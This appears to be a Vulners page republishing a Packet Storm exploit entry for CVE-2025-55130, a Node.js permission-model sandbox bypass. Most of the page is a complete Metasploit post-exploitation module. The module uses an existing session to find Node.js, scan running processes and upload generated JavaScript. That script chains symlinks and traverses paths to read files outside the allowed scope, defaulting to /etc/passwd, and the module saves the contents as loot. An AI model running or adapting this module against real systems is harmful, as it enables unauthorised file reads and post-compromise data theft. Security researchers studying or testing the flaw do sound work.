Lucene search
K

📄 Node.js 25.x Permission Model Sandbox Bypass / Path Traversal

🗓 05 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 293 Views

Metasploit module verifies sandbox bypass in node runtime permissions via symlink traversal to read outside scope; post exploitation tool.

Related
Code
=============================================================================================================================================
    | # Title     : Node.js 25.x Permission Model Sandbox Bypass via Symlink Path Traversal                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://nodejs.org/en                                                                                                       |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214705/ & CVE-2025-55130
    
    [+] Summary    : This module validates a sandbox escape weakness in the Node.js permission model that allows restricted file access bypass through symlink-based path traversal. 
                     When Node.js is executed with the --permission flag and limited filesystem read/write paths, the permission checks rely on logical paths but fail to revalidate resolved real paths after symlink resolution.
                     As a result, an attacker with local code execution in a Node.js runtime can read files outside the permitted filesystem scope, violating the intended sandbox guarantees. 
    				 This issue does not result in system privilege escalation; instead, it represents a runtime security boundary bypass within Node.js applications that depend on the permission model for isolation.
                     The module is implemented as a post-exploitation verification tool, safely demonstrating the weakness and optionally confirming exploitability without modifying system state.
    
    [+] Usage :
    
    1. Basic Testing:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set TARGET_FILE /etc/passwd
    run
    
    2. With Process Checking:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set SCAN_NODE_PROCESSES true
    set CHECK_PERMISSIONS true
    run
    
    3. Safe Testing Mode:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set TEST_MODE true
    set AUTOREMOVE true
    run
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Post
      include Msf::Post::File
      include Msf::Post::Common
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Node.js Permission Model Sandbox Bypass File Reader',
          'Description'    => %q{
            This module exploits CVE-2025-55130, a Node.js permission model bypass
            vulnerability that allows escaping the --allow-fs-read/write sandbox restrictions
            via symlink path traversal. 
            
            The module must be executed in a Meterpreter session where the target
            system has a vulnerable Node.js installation with permission model enabled.
            It demonstrates sandbox escape by reading arbitrary files from the filesystem
            that should be restricted by the permission model.
            
            Note: This is NOT a privilege escalation exploit. It bypasses Node.js
            permission model sandbox restrictions when Node.js is already running with
            --permission flag. It does not elevate system privileges.
          },
          'License'        => MSF_LICENSE,
          'Author'         => [
            'indoushka'
          ],
          'References'     => [
            ['CVE', '2025-55130'],
            ['URL', 'https://securityonline.info/cve-2025-55130-node-js-permission-model-bypass-sandbox-escape-vulnerability/']
          ],
          'Platform'       => ['nodejs', 'unix', 'linux'],
          'Arch'           => [ARCH_NODEJS, ARCH_X64, ARCH_X86],
          'SessionTypes'   => ['meterpreter', 'shell'],
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'SideEffects' => [ARTIFACTS_ON_DISK],
            'Reliability' => [REPEATABLE_SESSION],
            'Type'        => 'sandbox_escape',
            'AKA'         => ['Node.js Permission Model Bypass']
          }
        ))
    
        register_options([
          OptString.new('TARGET_FILE', [
            true, 
            'File to attempt reading (must be outside allowed paths)',
            '/etc/passwd'
          ]),
          OptString.new('NODE_PATH', [
            false,
            'Path to Node.js executable (auto-detected if not set)',
            ''
          ]),
          OptString.new('ALLOWED_PATH', [
            true,
            'Path that would be allowed in --allow-fs-read/write',
            '/tmp'
          ]),
          OptBool.new('AUTOREMOVE', [
            true,
            'Automatically remove exploit files',
            true
          ]),
          OptString.new('WRITEABLE_DIR', [
            true,
            'Writable directory for exploit files',
            '/tmp'
          ]),
          OptBool.new('CHECK_PERMISSIONS', [
            true,
            'Check if Node.js processes are running with permission model',
            true
          ]),
          OptBool.new('SCAN_NODE_PROCESSES', [
            true,
            'Scan for running Node.js processes with permission flags',
            false
          ])
        ])
    
        register_advanced_options([
          OptBool.new('VERIFY_READ', [
            true,
            'Verify file can be read after exploit',
            true
          ]),
          OptInt.new('EXPLOIT_TIMEOUT', [
            true,
            'Timeout for exploit execution (seconds)',
            30
          ]),
          OptBool.new('TEST_MODE', [
            true,
            'Test mode - create test file instead of reading target',
            false
          ])
        ])
      end
    
      def run
        print_status("Starting Node.js Permission Model Sandbox Bypass Module")
    
        unless session
          fail_with(Failure::BadConfig, "This module requires an active session")
        end
    
        node_path = detect_nodejs
        unless node_path
          fail_with(Failure::NotFound, "Node.js not found on target system")
        end
    
        print_status("Detected Node.js at: #{node_path}")
    
        node_info = check_nodejs_info(node_path)
    
        if datastore['SCAN_NODE_PROCESSES']
          scan_node_processes
        end
    
        unless node_info[:has_permission_model]
          print_warning("Node.js version #{node_info[:version]} may not support permission model")
          print_warning("Exploit requires Node.js with permission model enabled")
          
          unless datastore['CHECK_PERMISSIONS']
            if Rex::Version.new(node_info[:version]) < Rex::Version.new('20.0.0')
              print_warning("Permission model was experimental before Node.js 20")
            end
          end
        end
    
        exploit_dir = create_exploit_dir
        exploit_file = generate_and_upload_exploit(exploit_dir)
    
        execute_exploit(node_path, exploit_file, exploit_dir, node_info)
    
        cleanup_exploit(exploit_dir) if datastore['AUTOREMOVE']
      end
    
      def detect_nodejs
        if datastore['NODE_PATH'].present?
          if file_exist?(datastore['NODE_PATH']) && executable?(datastore['NODE_PATH'])
            return datastore['NODE_PATH']
          else
            print_warning("Provided NODE_PATH does not exist or is not executable")
          end
        end
    
        possible_paths = [
          '/usr/bin/node',
          '/usr/local/bin/node',
          '/opt/homebrew/bin/node',
          '/bin/node',
          'node'
        ]
        
        possible_paths.each do |path|
          if command_exists?(path)
            print_good("Found Node.js at: #{path}")
            return path
          end
        end
        
        nil
      end
      
      def command_exists?(cmd)
        result = cmd_exec("command -v #{cmd} 2>/dev/null")
        result.present? && result.include?(cmd)
      end
      
      def executable?(path)
        result = cmd_exec("test -x '#{path}' && echo 'executable'")
        result.include?('executable')
      end
    
      def check_nodejs_info(node_path)
        print_status("Checking Node.js information...")
        
        info = {
          version: 'unknown',
          has_permission_model: false,
          supports_experimental: false
        }
    
        version_output = cmd_exec("#{node_path} --version")
        if version_output =~ /v(\d+\.\d+\.\d+)/
          info[:version] = $1
          print_status("Node.js version: #{version_output.strip}")
        else
          print_warning("Could not parse Node.js version")
        end
    
        check_cmd = "#{node_path} -e \"console.log(typeof process.permission !== 'undefined' ? 'HAS_PERMISSION_MODEL' : 'NO_PERMISSION_MODEL')\""
        permission_check = cmd_exec(check_cmd)
        
        if permission_check.include?('HAS_PERMISSION_MODEL')
          info[:has_permission_model] = true
          print_good("Node.js has permission model support")
        else
          print_warning("Node.js does not have permission model support or running without --permission flag")
        end
    
        experimental_check = cmd_exec("#{node_path} --experimental-permission --version 2>&1")
        if experimental_check.include?('experimental')
          info[:supports_experimental] = true
          print_status("Node.js supports --experimental-permission flag")
        end
        
        info
      end
    
      def scan_node_processes
        print_status("Scanning for running Node.js processes with permission model...")
    
        ps_cmd = "ps aux | grep -E 'node|nodejs' | grep -v grep"
        processes = cmd_exec(ps_cmd)
        
        if processes.present?
          print_status("Found Node.js processes:")
          print_line(processes)
    
          permission_processes = processes.split("\n").select do |line|
            line.include?('--permission') || line.include?('--experimental-permission') ||
            line.include?('--allow-fs-read') || line.include?('--allow-fs-write')
          end
          
          if permission_processes.any?
            print_good("Found #{permission_processes.count} Node.js process(es) running with permission model:")
            permission_processes.each do |proc|
              print_line("  #{proc}")
            end
    
            permission_processes.each_with_index do |proc, idx|
              pid = proc.split[1]
              cmdline = proc.split[10..-1].join(' ')
              
              print_status("Process #{idx+1}: PID=#{pid}, Command=#{cmdline}")
              proc_cwd = cmd_exec("ls -la /proc/#{pid}/cwd 2>/dev/null")
              if proc_cwd.present?
                print_status("  CWD: #{proc_cwd}")
              end
            end
          else
            print_warning("No Node.js processes found running with permission model flags")
          end
        else
          print_status("No Node.js processes found running")
        end
      end
    
      def create_exploit_dir
        writable_dir = datastore['WRITEABLE_DIR']
        exploit_dir = "#{writable_dir}/.node_sandbox_test_#{Rex::Text.rand_text_alpha(8)}"
        
        print_status("Creating exploit directory: #{exploit_dir}")
        cmd_exec("mkdir -p #{exploit_dir}")
    
        allowed_subdir = "#{exploit_dir}/allowed"
        cmd_exec("mkdir -p #{allowed_subdir}")
        
        exploit_dir
      end
    
      def generate_and_upload_exploit(exploit_dir)
        target_file = datastore['TEST_MODE'] ? "#{exploit_dir}/test_secret.txt" : datastore['TARGET_FILE']
        allowed_path = datastore['ALLOWED_PATH']
    
        if datastore['TEST_MODE']
          test_content = "SECRET_TEST_CONTENT_#{Rex::Text.rand_text_alpha(16)}"
          write_file(target_file, test_content)
          print_status("Created test file: #{target_file}")
        end
        
        exploit_js = <<~JS
          const fs = require('fs');
          const path = require('path');
    
          const TARGET = '#{target_file}';
          const ALLOWED_PATH = '#{allowed_path}';
          const CHAIN = './pwn/a/b/c/d/e/f';
    
          console.log(`
           ===========================================================
            Node.js Permission Model Sandbox Bypass Test by indoushka
           ===========================================================
            Target file:        \${TARGET}
            Allowed path:       \${ALLOWED_PATH}
            Current directory:  \${__dirname}
            Node version:       \${process.version}
           =====================================================
          `);
    
          // Check if permission model is active
          if (typeof process.permission === 'undefined') {
              console.log('[!] PERMISSION MODEL NOT ACTIVE');
              console.log('[!] Node.js must be run with: --permission --allow-fs-read=. --allow-fs-write=.');
              console.log('[!] Without permission model, this is just a symlink test');
              console.log('[!] Continuing test anyway...\\n');
          } else {
              console.log('[+] Permission model is active');
              console.log('[+] Testing sandbox bypass...\\n');
          }
    
          console.log('[*] Creating symlink chain structure...');
    
          try {
              fs.rmSync('./pwn', { recursive: true, force: true });
          } catch(e) {}
    
          fs.mkdirSync(CHAIN, { recursive: true });
          fs.symlinkSync(__dirname, CHAIN + '/link');
    
          const depth = __dirname.split('/').filter(Boolean).length;
          const traversal = '../'.repeat(depth);
          const payload = `\${CHAIN}/link/\${traversal}\${TARGET.replace(/^\\//, '')}`;
          console.log('[*] Symlink chain created');
          console.log('[*] Traversal depth: ' + depth);
          console.log('[*] Payload path: ' + payload);
          console.log('[*] Attempting to read target file...\\n');
    
          try {
              const data = fs.readFileSync(payload, 'utf8');
              console.log('[+] SUCCESS: File read through sandbox bypass!\\n');
              console.log('--- BEGIN FILE CONTENT ---');
              console.log(data);
              console.log('--- END FILE CONTENT ---\\n');
              
              if (typeof process.permission !== 'undefined') {
                  console.log('[+] NODE.JS PERMISSION MODEL BYPASS CONFIRMED');
                  console.log('[+] CVE-2025-55130 is exploitable on this system');
              } else {
                  console.log('[+] Symlink traversal works, but permission model not active');
              }
              
              process.exit(0);
              
          } catch (err) {
              console.log('[-] FAILED to read file');
              console.log('[-] Error: ' + err.code + ' - ' + err.message);
              
              if (err.code === 'ERR_ACCESS_DENIED') {
                  console.log('[-] Permission model blocked access');
                  console.log('[-] System may be patched or not vulnerable');
              } else if (err.code === 'ENOENT') {
                  console.log('[-] Target file does not exist');
              }
              
              process.exit(1);
          }
    
          try {
              fs.rmSync('./pwn', { recursive: true, force: true });
          } catch(e) {}
        JS
    
        exploit_file = "#{exploit_dir}/sandbox_bypass.js"
        write_file(exploit_file, exploit_js)
        cmd_exec("chmod +x #{exploit_file}")
        
        print_status("Exploit script written to: #{exploit_file}")
        exploit_file
      end
    
      def execute_exploit(node_path, exploit_file, exploit_dir, node_info)
        print_status("Executing sandbox bypass test...")
    
        cmd_exec("cd #{exploit_dir}")
    
        flags = '--permission'
        unless node_info[:has_permission_model]
          print_warning("Node.js may not support permission model, trying experimental flag")
          flags = '--experimental-permission' if node_info[:supports_experimental]
        end
    
        allowed_path = "."
     
        exploit_cmd = "#{node_path} #{flags} --allow-fs-read=#{allowed_path} --allow-fs-write=#{allowed_path} #{exploit_file}"
        
        print_status("Running command: #{exploit_cmd}")
        result = cmd_exec(exploit_cmd, datastore['EXPLOIT_TIMEOUT'])
    
        parse_exploit_result(result, exploit_dir)
      end
    
      def parse_exploit_result(result, exploit_dir)
        print_status("Exploit output:")
        print_line(result)
        
        if result.include?('SUCCESS: File read through sandbox bypass!')
          print_good("✓ Sandbox bypass successful!")
    
          if result =~ /--- BEGIN FILE CONTENT ---(.*?)--- END FILE CONTENT ---/m
            file_content = $1.strip
            
            print_good("File content read successfully")
    
            loot_name = datastore['TEST_MODE'] ? 'nodejs_sandbox_test' : datastore['TARGET_FILE'].gsub('/', '_')
            
            loot_path = store_loot(
              'nodejs.sandbox.bypass',
              'text/plain',
              session,
              file_content,
              loot_name,
              "Node.js Permission Model Sandbox Bypass - #{datastore['TARGET_FILE']}"
            )
            
            print_good("Content saved to: #{loot_path}")
          end
          
          if result.include?('PERMISSION MODEL BYPASS CONFIRMED')
            print_good(" CVE-2025-55130 confirmed exploitable on this system")
    
            report_vuln(
              host: session.session_host,
              name: 'Node.js Permission Model Sandbox Bypass',
              refs: references,
              info: "Node.js permission model bypass via symlink path traversal (CVE-2025-55130)"
            )
          end
          
        elsif result.include?('Permission model blocked access')
          print_error(" Permission model prevented access - may be patched")
        elsif result.include?('PERMISSION MODEL NOT ACTIVE')
          print_warning(" Permission model not active during test")
          print_warning("This test only confirms symlink traversal works")
          print_warning("To test sandbox bypass, Node.js must run with --permission flag")
        else
          print_error(" Exploit failed or produced unexpected output")
        end
     
        print_status("=" * 60)
        print_status("SUMMARY:")
        print_status("  - Node.js Sandbox Bypass Test Completed")
        print_status("  - Exploit Directory: #{exploit_dir}")
        print_status("  - Target File: #{datastore['TARGET_FILE']}")
        print_status("  - Test Mode: #{datastore['TEST_MODE'] ? 'Enabled' : 'Disabled'}")
        print_status("=" * 60)
      end
    
      def cleanup_exploit(exploit_dir)
        print_status("Cleaning up exploit directory: #{exploit_dir}")
        cmd_exec("rm -rf #{exploit_dir}")
      end
    end
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2026 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.1
CVSS 37.1
EPSS0.00016
SSVC
293